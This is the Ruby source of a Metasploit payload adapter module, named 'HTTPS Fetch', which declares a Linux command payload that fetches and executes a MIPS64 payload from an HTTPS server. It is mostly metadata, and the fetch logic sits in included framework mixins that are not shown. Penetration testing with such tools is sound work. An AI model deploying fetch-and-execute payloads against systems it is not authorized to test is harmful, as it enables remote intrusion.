26 lines
707 B
Ruby
26 lines
707 B
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
module MetasploitModule
|
|
include Msf::Payload::Adapter::Fetch::Https
|
|
include Msf::Payload::Adapter::Fetch::LinuxOptions
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'HTTPS Fetch',
|
|
'Description' => 'Fetch and execute an MIPS64 payload from an HTTPS server.',
|
|
'Author' => ['Brendan Watters', 'Spencer McIntyre'],
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_CMD,
|
|
'License' => MSF_LICENSE,
|
|
'AdaptedArch' => ARCH_MIPS64,
|
|
'AdaptedPlatform' => 'linux'
|
|
)
|
|
)
|
|
end
|
|
end
|